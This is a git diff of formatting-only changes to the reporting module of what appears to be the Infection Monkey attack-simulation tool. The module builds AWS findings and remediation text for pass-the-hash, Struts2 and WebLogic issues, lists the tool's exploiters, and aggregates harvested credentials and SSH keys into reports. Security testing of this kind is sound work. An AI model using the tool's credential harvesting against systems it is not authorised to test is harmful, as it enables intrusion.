protocol with user {username} and its password.".format( - machine=issue["machine"], ip_address=issue["ip_address"], - username=issue["username"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=1, + title="Machines are accessible using passwords supplied by the user during the " + "Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not " + "shared with other computers on the " + "network.", + recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI " + "attack. The Monkey authenticated over " + "the WMI protocol with user {username} and its password.".format( + machine=issue["machine"], ip_address=issue["ip_address"], username=issue["username"] + ), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_wmi_pth_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=1, - title="Machines are accessible using passwords supplied by the user during the " - "Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not " - "shared with other computers on the " - "network.".format(issue["username"]), - recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI " - "attack. The Monkey used a " - "pass-the-hash attack over WMI protocol with user {username}".format( - machine=issue["machine"], ip_address=issue["ip_address"], - username=issue["username"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=1, + title="Machines are accessible using passwords supplied by the user during the " + "Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not " + "shared with other computers on the " + "network.".format(issue["username"]), + recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI " + "attack. The Monkey used a " + "pass-the-hash attack over WMI protocol with user {username}".format( + machine=issue["machine"], ip_address=issue["ip_address"], username=issue["username"] + ), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_shared_passwords_domain_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=1, - title="Multiple users have the same password.", - description="Some domain users are sharing passwords, this should be fixed by " - "changing passwords.", - recommendation="These users are sharing access password: {shared_with}.".format( - shared_with=issue["shared_with"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=1, + title="Multiple users have the same password.", + description="Some domain users are sharing passwords, this should be fixed by " + "changing passwords.", + recommendation="These users are sharing access password: {shared_with}.".format( + shared_with=issue["shared_with"] + ), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_shared_admins_domain_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=1, - title="Shared local administrator account - Different machines have the same " - "account as a local administrator.", - description="Make sure the right administrator accounts are managing the right " - "machines, and that there isn't " - "an unintentional local admin sharing.", - recommendation="Here is a list of machines which the account {username} is " - "defined as an administrator: " - "{shared_machines}".format( - username=issue["username"], shared_machines=issue["shared_machines"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=1, + title="Shared local administrator account - Different machines have the same " + "account as a local administrator.", + description="Make sure the right administrator accounts are managing the right " + "machines, and that there isn't " + "an unintentional local admin sharing.", + recommendation="Here is a list of machines which the account {username} is " + "defined as an administrator: " + "{shared_machines}".format( + username=issue["username"], shared_machines=issue["shared_machines"] + ), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_strong_users_on_crit_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=1, - title="Mimikatz found login credentials of a user who has admin access to a " - "server defined as critical.", - description="This critical machine is open to attacks via strong users with " - "access to it.", - recommendation="The services: {services} have been found on the machine thus " - "classifying it as a critical " - "machine. These users has access to it:{threatening_users}.".format( - services=issue["services"], threatening_users=issue["threatening_users"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=1, + title="Mimikatz found login credentials of a user who has admin access to a " + "server defined as critical.", + description="This critical machine is open to attacks via strong users with " + "access to it.", + recommendation="The services: {services} have been found on the machine thus " + "classifying it as a critical " + "machine. These users has access to it:{threatening_users}.".format( + services=issue["services"], threatening_users=issue["threatening_users"] + ), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_struts2_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=10, - title="Struts2 servers are vulnerable to remote code execution.", - description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", - recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to " - "remote code execution attack." - "The attack was made possible because the server is using an old " - "version of Jakarta based file " - "upload Multipart parser.".format( - machine=issue["machine"], ip_address=issue["ip_address"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=10, + title="Struts2 servers are vulnerable to remote code execution.", + description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", + recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to " + "remote code execution attack." + "The attack was made possible because the server is using an old " + "version of Jakarta based file " + "upload Multipart parser.".format( + machine=issue["machine"], ip_address=issue["ip_address"] + ), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_weblogic_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=10, - title="Oracle WebLogic servers are vulnerable to remote code execution.", - description="Install Oracle critical patch updates. Or update to the latest " - "version. " - "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and " - "12.2.1.2.0.", - recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable " - "to remote code execution attack." - "The attack was made possible due to incorrect permission " - "assignment in Oracle Fusion Middleware " - "(subcomponent: WLS Security).".format( - machine=issue["machine"], ip_address=issue["ip_address"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=10, + title="Oracle WebLogic servers are vulnerable to remote code execution.", + description="Install Oracle critical patch updates. Or update to the latest " + "version. " + "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and " + "12.2.1.2.0.", + recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable " + "to remote code execution attack." + "The attack was made possible due to incorrect permission " + "assignment in Oracle Fusion Middleware " + "(subcomponent: WLS Security).".format( + machine=issue["machine"], ip_address=issue["ip_address"] + ), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_hadoop_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=10, - title="Hadoop/Yarn servers are vulnerable to remote code execution.", - description="Run Hadoop in secure mode, add Kerberos authentication.", - recommendation="The Hadoop server at {machine} ({ip_address}) is vulnerable to " - "remote code execution attack." - "The attack was made possible due to default Hadoop/Yarn " - "configuration being insecure.", - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=10, + title="Hadoop/Yarn servers are vulnerable to remote code execution.", + description="Run Hadoop in secure mode, add Kerberos authentication.", + recommendation="The Hadoop server at {machine} ({ip_address}) is vulnerable to " + "remote code execution attack." + "The attack was made possible due to default Hadoop/Yarn " + "configuration being insecure.", + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) diff --git a/monkey/monkey_island/cc/services/reporting/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py index f984762aeb4..c19f3d5e379 100644 --- a/monkey/monkey_island/cc/services/reporting/exporter_init.py +++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py @@ -13,9 +13,9 @@ def populate_exporter_list(): if len(manager.get_exporters_list()) != 0: logger.debug( - "Populated exporters list with the following exporters: {0}".format( - str(manager.get_exporters_list()) - ) + "Populated exporters list with the following exporters: {0}".format( + str(manager.get_exporters_list()) + ) ) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py index 988beeec3e2..e60886b34a0 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -2,20 +2,16 @@ from enum import Enum from typing import Type -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors\ - .cred_exploit import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import ( CredExploitProcessor, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit \ - import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( ExploitProcessor, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors\ - .shellshock_exploit import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.shellshock_exploit import ( ShellShockExploitProcessor, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.zerologon\ - import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.zerologon import ( ZerologonExploitProcessor, ) @@ -34,24 +30,24 @@ class ExploiterDescriptorEnum(Enum): SSH = ExploiterDescriptor("SSHExploiter", "SSH Exploiter", CredExploitProcessor) SAMBACRY = ExploiterDescriptor("SambaCryExploiter", "SambaCry Exploiter", CredExploitProcessor) ELASTIC = ExploiterDescriptor( - "ElasticGroovyExploiter", "Elastic Groovy Exploiter", ExploitProcessor + "ElasticGroovyExploiter", "Elastic Groovy Exploiter", ExploitProcessor ) MS08_067 = ExploiterDescriptor("Ms08_067_Exploiter", "Conficker Exploiter", ExploitProcessor) SHELLSHOCK = ExploiterDescriptor( - "ShellShockExploiter", "ShellShock Exploiter", ShellShockExploitProcessor + "ShellShockExploiter", "ShellShock Exploiter", ShellShockExploitProcessor ) STRUTS2 = ExploiterDescriptor("Struts2Exploiter", "Struts2 Exploiter", ExploitProcessor) WEBLOGIC = ExploiterDescriptor( - "WebLogicExploiter", "Oracle WebLogic Exploiter", ExploitProcessor + "WebLogicExploiter", "Oracle WebLogic Exploiter", ExploitProcessor ) HADOOP = ExploiterDescriptor("HadoopExploiter", "Hadoop/Yarn Exploiter", ExploitProcessor) MSSQL = ExploiterDescriptor("MSSQLExploiter", "MSSQL Exploiter", ExploitProcessor) VSFTPD = ExploiterDescriptor( - "VSFTPDExploiter", "VSFTPD Backdoor Exploiter", CredExploitProcessor + "VSFTPDExploiter", "VSFTPD Backdoor Exploiter", CredExploitProcessor ) DRUPAL = ExploiterDescriptor("DrupalExploiter", "Drupal Server Exploiter", ExploitProcessor) ZEROLOGON = ExploiterDescriptor( - "ZerologonExploiter", "Zerologon Exploiter", ZerologonExploitProcessor + "ZerologonExploiter", "Zerologon Exploiter", ZerologonExploitProcessor ) @staticmethod diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py index 5a85a8a7bc1..842fe9eb2eb 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py @@ -1,10 +1,8 @@ -from monkey_island.cc.services.reporting.issue_processing.exploit_processing\ - .exploiter_report_info import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( CredentialType, ExploiterReportInfo, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit \ - import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( ExploitProcessor, ) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py index 9ced6d3ea32..1b29fc773c8 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py @@ -1,6 +1,5 @@ from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.reporting.issue_processing.exploit_processing\ - .exploiter_report_info import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( ExploiterReportInfo, ) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py index cf2859fb49c..cd627eb5caf 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py @@ -1,5 +1,4 @@ -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit \ - import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( ExploiterReportInfo, ExploitProcessor, ) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py index e3b370bf458..d9c9d7d495c 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py @@ -1,5 +1,4 @@ -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit \ - import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( ExploiterReportInfo, ExploitProcessor, ) diff --git a/monkey/monkey_island/cc/services/reporting/pth_report.py b/monkey/monkey_island/cc/services/reporting/pth_report.py index ab18ffd216a..69b3d967786 100644 --- a/monkey/monkey_island/cc/services/reporting/pth_report.py +++ b/monkey/monkey_island/cc/services/reporting/pth_report.py @@ -32,22 +32,22 @@ def __dup_passwords_mongoquery(): """ pipeline = [ - {"$match":{"NTLM_secret":{"$exists":"true", "$ne":None}}}, + {"$match": {"NTLM_secret": {"$exists": "true", "$ne": None}}}, { - "$group":{ - "_id":{"NTLM_secret":"$NTLM_secret"}, - "count":{"$sum":1}, - "Docs":{ - "$push":{ - "_id":"$_id", - "name":"$name", - "domain_name":"$domain_name", - "machine_id":"$machine_id", + "$group": { + "_id": {"NTLM_secret": "$NTLM_secret"}, + "count": {"$sum": 1}, + "Docs": { + "$push": { + "_id": "$_id", + "name": "$name", + "domain_name": "$domain_name", + "machine_id": "$machine_id", } }, } }, - {"$match":{"count":{"$gt":1}}}, + {"$match": {"count": {"$gt": 1}}}, ] return mongo.db.groupsandusers.aggregate(pipeline) @@ -61,7 +61,7 @@ def __get_admin_on_machines_format(admin_on_machines, domain_name): :return: A list of formatted machines names *domain*/*hostname*, to use in shared admins issues. """ - machines = mongo.db.monkey.find({"_id":{"$in":admin_on_machines}}, {"hostname":1}) + machines = mongo.db.monkey.find({"_id": {"$in": admin_on_machines}}, {"hostname": 1}) return [domain_name + "\\" + i["hostname"] for i in list(machines)] @staticmethod @@ -76,18 +76,18 @@ def __strong_users_on_crit_query(): A list of said users """ pipeline = [ - {"$unwind":"$admin_on_machines"}, - {"$match":{"type":USERTYPE, "domain_name":{"$ne":None}}}, + {"$unwind": "$admin_on_machines"}, + {"$match": {"type": USERTYPE, "domain_name": {"$ne": None}}}, { - "$lookup":{ - "from":"monkey", - "localField":"admin_on_machines", - "foreignField":"_id", - "as":"critical_machine", + "$lookup": { + "from": "monkey", + "localField": "admin_on_machines", + "foreignField": "_id", + "as": "critical_machine", } }, - {"$match":{"critical_machine.critical_services":{"$ne":[]}}}, - {"$unwind":"$critical_machine"}, + {"$match": {"critical_machine.critical_services": {"$ne": []}}}, + {"$unwind": "$critical_machine"}, ] return mongo.db.groupsandusers.aggregate(pipeline) @@ -106,15 +106,15 @@ def get_duplicated_passwords_nodes(): for doc in docs: users_list = [ { - "username":user["name"], - "domain_name":user["domain_name"], - "hostname":NodeService.get_hostname_by_id(ObjectId(user["machine_id"])) + "username": user["name"], + "domain_name": user["domain_name"], + "hostname": NodeService.get_hostname_by_id(ObjectId(user["machine_id"])) if user["machine_id"] else None, } for user in doc["Docs"] ] - users_cred_groups.append({"cred_groups":users_list}) + users_cred_groups.append({"cred_groups": users_list}) return users_cred_groups @@ -125,18 +125,18 @@ def get_duplicated_passwords_issues(): for group in user_groups: user_info = group["cred_groups"][0] issues.append( - { - "type":"shared_passwords_domain" - if user_info["domain_name"] - else "shared_passwords", - "machine":user_info["hostname"] - if user_info["hostname"] - else user_info["domain_name"], - "shared_with":[ - PTHReportService.__build_dup_user_label(i) for i in group["cred_groups"] - ], - "is_local":False if user_info["domain_name"] else True, - } + { + "type": "shared_passwords_domain" + if user_info["domain_name"] + else "shared_passwords", + "machine": user_info["hostname"] + if user_info["hostname"] + else user_info["domain_name"], + "shared_with": [ + PTHReportService.__build_dup_user_label(i) for i in group["cred_groups"] + ], + "is_local": False if user_info["domain_name"] else True, + } ) return issues @@ -150,19 +150,19 @@ def get_shared_admins_nodes(): # Administrator account # is shared. admins = mongo.db.groupsandusers.find( - { - "type":USERTYPE, - "name":{"$ne":"Administrator"}, - "admin_on_machines.1":{"$exists":True}, - }, - {"admin_on_machines":1, "name":1, "domain_name":1}, + { + "type": USERTYPE, + "name": {"$ne": "Administrator"}, + "admin_on_machines.1": {"$exists": True}, + }, + {"admin_on_machines": 1, "name": 1, "domain_name": 1}, ) return [ { - "name":admin["name"], - "domain_name":admin["domain_name"], - "admin_on_machines":PTHReportService.__get_admin_on_machines_format( - admin["admin_on_machines"], admin["domain_name"] + "name": admin["name"], + "domain_name": admin["domain_name"], + "admin_on_machines": PTHReportService.__get_admin_on_machines_format( + admin["admin_on_machines"], admin["domain_name"] ), } for admin in admins @@ -173,11 +173,11 @@ def get_shared_admins_issues(): admins_info = PTHReportService.get_shared_admins_nodes() return [ { - "is_local":False, - "type":"shared_admins_domain", - "machine":admin["domain_name"], - "username":admin["domain_name"] + "\\" + admin["name"], - "shared_machines":admin["admin_on_machines"], + "is_local": False, + "type": "shared_admins_domain", + "machine": admin["domain_name"], + "username": admin["domain_name"] + "\\" + admin["name"], + "shared_machines": admin["admin_on_machines"], } for admin in admins_info ] @@ -192,14 +192,14 @@ def get_strong_users_on_critical_machines_nodes(): hostname = str(doc["critical_machine"]["hostname"]) if hostname not in crit_machines: crit_machines[hostname] = { - "threatening_users":[], - "critical_services":doc["critical_machine"]["critical_services"], + "threatening_users": [], + "critical_services": doc["critical_machine"]["critical_services"], } crit_machines[hostname]["threatening_users"].append( - { - "name":str(doc["domain_name"]) + "\\" + str(doc["name"]), - "creds_location":doc["secret_location"], - } + { + "name": str(doc["domain_name"]) + "\\" + str(doc["name"]), + "creds_location": doc["secret_location"], + } ) return crit_machines @@ -209,10 +209,10 @@ def get_strong_users_on_crit_issues(): return [ { - "type":"strong_users_on_crit", - "machine":machine, - "services":crit_machines[machine].get("critical_services"), - "threatening_users":[ + "type": "strong_users_on_crit", + "machine": machine, + "services": crit_machines[machine].get("critical_services"), + "threatening_users": [ i["name"] for i in crit_machines[machine]["threatening_users"] ], } @@ -227,15 +227,15 @@ def get_strong_users_on_crit_details(): for user in crit_machines[machine]["threatening_users"]: username = user["name"] if username not in user_details: - user_details[username] = {"machines":[], "services":[]} + user_details[username] = {"machines": [], "services": []} user_details[username]["machines"].append(machine) user_details[username]["services"] += crit_machines[machine]["critical_services"] return [ { - "username":user, - "machines":user_details[user]["machines"], - "services_names":user_details[user]["services"], + "username": user, + "machines": user_details[user]["machines"], + "services_names": user_details[user]["services"], } for user in user_details ] @@ -246,11 +246,11 @@ def generate_map_nodes(): return [ { - "id":monkey.guid, - "label":"{0} : {1}".format(monkey.hostname, monkey.ip_addresses[0]), - "group":"critical" if monkey.critical_services is not None else "normal", - "services":monkey.critical_services, - "hostname":monkey.hostname, + "id": monkey.guid, + "label": "{0} : {1}".format(monkey.hostname, monkey.ip_addresses[0]), + "group": "critical" if monkey.critical_services is not None else "normal", + "services": monkey.critical_services, + "hostname": monkey.hostname, } for monkey in monkeys ] @@ -260,8 +260,8 @@ def generate_edges(): edges_list = [] comp_users = mongo.db.groupsandusers.find( - {"admin_on_machines":{"$ne":[]}, "secret_location":{"$ne":[]}, "type":USERTYPE}, - {"admin_on_machines":1, "secret_location":1}, + {"admin_on_machines": {"$ne": []}, "secret_location": {"$ne": []}, "type": USERTYPE}, + {"admin_on_machines": 1, "secret_location": 1}, ) for user in comp_users: @@ -272,15 +272,15 @@ def generate_edges(): if pair[0] != pair[1] ]: edges_list.append( - {"from":pair[1], "to":pair[0], "id":str(pair[1]) + str(pair[0])} + {"from": pair[1], "to": pair[0], "id": str(pair[1]) + str(pair[0])} ) return edges_list @staticmethod def get_pth_map(): return { - "nodes":PTHReportService.generate_map_nodes(), - "edges":PTHReportService.generate_edges(), + "nodes": PTHReportService.generate_map_nodes(), + "edges": PTHReportService.generate_edges(), } @staticmethod @@ -288,10 +288,10 @@ def get_report(): pth_map = PTHReportService.get_pth_map() PTHReportService.get_strong_users_on_critical_machines_nodes() report = { - "report_info":{ - "strong_users_table":PTHReportService.get_strong_users_on_crit_details() + "report_info": { + "strong_users_table": PTHReportService.get_strong_users_on_crit_details() }, - "pthmap":{"nodes":pth_map.get("nodes"), "edges":pth_map.get("edges")}, + "pthmap": {"nodes": pth_map.get("nodes"), "edges": pth_map.get("edges")}, } return report diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 92075a00fdf..95a09ccd2a4 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -22,16 +22,13 @@ get_config_network_segments_as_subnet_groups, ) from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.reporting.issue_processing.exploit_processing\ - .exploiter_descriptor_enum import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_descriptor_enum import ( ExploiterDescriptorEnum, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors\ - .cred_exploit import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import ( CredentialType, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit \ - import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( ExploiterReportInfo, ) from monkey_island.cc.services.reporting.pth_report import PTHReportService @@ -55,17 +52,17 @@ class DerivedIssueEnum: @staticmethod def get_first_monkey_time(): return ( - mongo.db.telemetry.find({}, {"timestamp":1}) - .sort([("$natural", 1)]) - .limit(1)[0]["timestamp"] + mongo.db.telemetry.find({}, {"timestamp": 1}) + .sort([("$natural", 1)]) + .limit(1)[0]["timestamp"] ) @staticmethod def get_last_monkey_dead_time(): return ( - mongo.db.telemetry.find({}, {"timestamp":1}) - .sort([("$natural", -1)]) - .limit(1)[0]["timestamp"] + mongo.db.telemetry.find({}, {"timestamp": 1}) + .sort([("$natural", -1)]) + .limit(1)[0]["timestamp"] ) @staticmethod @@ -87,15 +84,15 @@ def get_monkey_duration(): def get_tunnels(): return [ { - "type":"tunnel", - "machine":NodeService.get_node_hostname( - NodeService.get_node_or_monkey_by_id(tunnel["_id"]) + "type": "tunnel", + "machine": NodeService.get_node_hostname( + NodeService.get_node_or_monkey_by_id(tunnel["_id"]) ), - "dest":NodeService.get_node_hostname( - NodeService.get_node_or_monkey_by_id(tunnel["tunnel"]) + "dest": NodeService.get_node_hostname( + NodeService.get_node_or_monkey_by_id(tunnel["tunnel"]) ), } - for tunnel in mongo.db.monkey.find({"tunnel":{"$exists":True}}, {"tunnel":1}) + for tunnel in mongo.db.monkey.find({"tunnel": {"$exists": True}}, {"tunnel": 1}) ] @staticmethod @@ -107,11 +104,10 @@ def get_azure_issues(): return [ { - "type":"azure_password", - "machine":machine, - "users":set( - [instance["username"] for instance in creds if - instance["origin"] == machine] + "type": "azure_password", + "machine": machine, + "users": set( + [instance["username"] for instance in creds if instance["origin"] == machine] ), } for machine in machines @@ -126,14 +122,14 @@ def get_scanned(): for node in nodes: nodes_that_can_access_current_node = node["accessible_from_nodes_hostnames"] formatted_nodes.append( - { - "label":node["label"], - "ip_addresses":node["ip_addresses"], - "accessible_from_nodes":nodes_that_can_access_current_node, - "services":node["services"], - "domain_name":node["domain_name"], - "pba_results":node["pba_results"] if "pba_results" in node else "None", - } + { + "label": node["label"], + "ip_addresses": node["ip_addresses"], + "accessible_from_nodes": nodes_that_can_access_current_node, + "services": node["services"], + "domain_name": node["domain_name"], + "pba_results": node["pba_results"] if "pba_results" in node else "None", + } ) logger.info("Scanned nodes generated for reporting") @@ -144,11 +140,11 @@ def get_scanned(): def get_all_displayed_nodes(): nodes_without_monkeys = [ NodeService.get_displayed_node_by_id(node["_id"], True) - for node in mongo.db.node.find({}, {"_id":1}) + for node in mongo.db.node.find({}, {"_id": 1}) ] nodes_with_monkeys = [ NodeService.get_displayed_node_by_id(monkey["_id"], True) - for monkey in mongo.db.monkey.find({}, {"_id":1}) + for monkey in mongo.db.monkey.find({}, {"_id": 1}) ] nodes = nodes_without_monkeys + nodes_with_monkeys return nodes @@ -157,23 +153,23 @@ def get_all_displayed_nodes(): def get_exploited(): exploited_with_monkeys = [ NodeService.get_displayed_node_by_id(monkey["_id"], True) - for monkey in mongo.db.monkey.find({}, {"_id":1}) + for monkey in mongo.db.monkey.find({}, {"_id": 1}) if not NodeService.get_monkey_manual_run(NodeService.get_monkey_by_id(monkey["_id"])) ] exploited_without_monkeys = [ NodeService.get_displayed_node_by_id(node["_id"], True) - for node in mongo.db.node.find({"exploited":True}, {"_id":1}) + for node in mongo.db.node.find({"exploited": True}, {"_id": 1}) ] exploited = exploited_with_monkeys + exploited_without_monkeys exploited = [ { - "label":exploited_node["label"], - "ip_addresses":exploited_node["ip_addresses"], - "domain_name":exploited_node["domain_name"], - "exploits":ReportService.get_exploits_used_on_node(exploited_node), + "label": exploited_node["label"], + "ip_addresses": exploited_node["ip_addresses"], + "domain_name": exploited_node["domain_name"], + "exploits": ReportService.get_exploits_used_on_node(exploited_node), } for exploited_node in exploited ] @@ -185,14 +181,13 @@ def get_exploited(): @staticmethod def get_exploits_used_on_node(node: dict) -> List[str]: return list( - set( - [ - ExploiterDescriptorEnum.get_by_class_name( - exploit["exploiter"]).display_name - for exploit in node["exploits"] - if exploit["result"] - ] - ) + set( + [ + ExploiterDescriptorEnum.get_by_class_name(exploit["exploiter"]).display_name + for exploit in node["exploits"] + if exploit["result"] + ] + ) ) @staticmethod @@ -212,8 +207,8 @@ def get_stolen_creds(): def _get_credentials_from_system_info_telems(): formatted_creds = [] for telem in mongo.db.telemetry.find( - {"telem_category":"system_info", "data.credentials":{"$exists":True}}, - {"data.credentials":1, "monkey_guid":1}, + {"telem_category": "system_info", "data.credentials": {"$exists": True}}, + {"data.credentials": 1, "monkey_guid": 1}, ): creds = telem["data"]["credentials"] origin = NodeService.get_monkey_by_guid(telem["monkey_guid"])["hostname"] @@ -224,8 +219,8 @@ def _get_credentials_from_system_info_telems(): def _get_credentials_from_exploit_telems(): formatted_creds = [] for telem in mongo.db.telemetry.find( - {"telem_category":"exploit", "data.info.credentials":{"$exists":True}}, - {"data.info.credentials":1, "data.machine":1, "monkey_guid":1}, + {"telem_category": "exploit", "data.info.credentials": {"$exists": True}}, + {"data.info.credentials": 1, "data.machine": 1, "monkey_guid": 1}, ): creds = telem["data"]["info"]["credentials"] domain_name = telem["data"]["machine"]["domain_name"] @@ -238,9 +233,9 @@ def _get_credentials_from_exploit_telems(): def _format_creds_for_reporting(telem, monkey_creds, origin): creds = [] CRED_TYPE_DICT = { - "password":"Clear Password", - "lm_hash":"LM hash", - "ntlm_hash":"NTLM hash", + "password": "Clear Password", + "lm_hash": "LM hash", + "ntlm_hash": "NTLM hash", } if len(monkey_creds) == 0: return [] @@ -253,9 +248,9 @@ def _format_creds_for_reporting(telem, monkey_creds, origin): monkey_creds[user]["username"] if "username" in monkey_creds[user] else user ) cred_row = { - "username":username, - "type":CRED_TYPE_DICT[cred_type], - "origin":origin, + "username": username, + "type": CRED_TYPE_DICT[cred_type], + "origin": origin, } if cred_row not in creds: creds.append(cred_row) @@ -269,26 +264,26 @@ def get_ssh_keys(): """ creds = [] for telem in mongo.db.telemetry.find( - {"telem_category":"system_info", "data.ssh_info":{"$exists":True}}, - {"data.ssh_info":1, "monkey_guid":1}, + {"telem_category": "system_info", "data.ssh_info": {"$exists": True}}, + {"data.ssh_info": 1, "monkey_guid": 1}, ): origin = NodeService.get_monkey_by_guid(telem["monkey_guid"])["hostname"] if telem["data"]["ssh_info"]: # Pick out all ssh keys not yet included in creds ssh_keys = [ { - "username":key_pair["name"], - "type":"Clear SSH private key", - "origin":origin, + "username": key_pair["name"], + "type": "Clear SSH private key", + "origin": origin, } for key_pair in telem["data"]["ssh_info"] if key_pair["private_key"] - and { - "username":key_pair["name"], - "type":"Clear SSH private key", - "origin":origin, - } - not in creds + and { + "username": key_pair["name"], + "type": "Clear SSH private key", + "origin": origin, + } + not in creds ] creds.extend(ssh_keys) return creds @@ -301,15 +296,15 @@ def get_azure_creds(): """ creds = [] for telem in mongo.db.telemetry.find( - {"telem_category":"system_info", "data.Azure":{"$exists":True}}, - {"data.Azure":1, "monkey_guid":1}, + {"telem_category": "system_info", "data.Azure": {"$exists": True}}, + {"data.Azure": 1, "monkey_guid": 1}, ): azure_users = telem["data"]["Azure"]["usernames"] if len(azure_users) == 0: continue origin = NodeService.get_monkey_by_guid(telem["monkey_guid"])["hostname"] azure_leaked_users = [ - {"username":user.replace(",", "."), 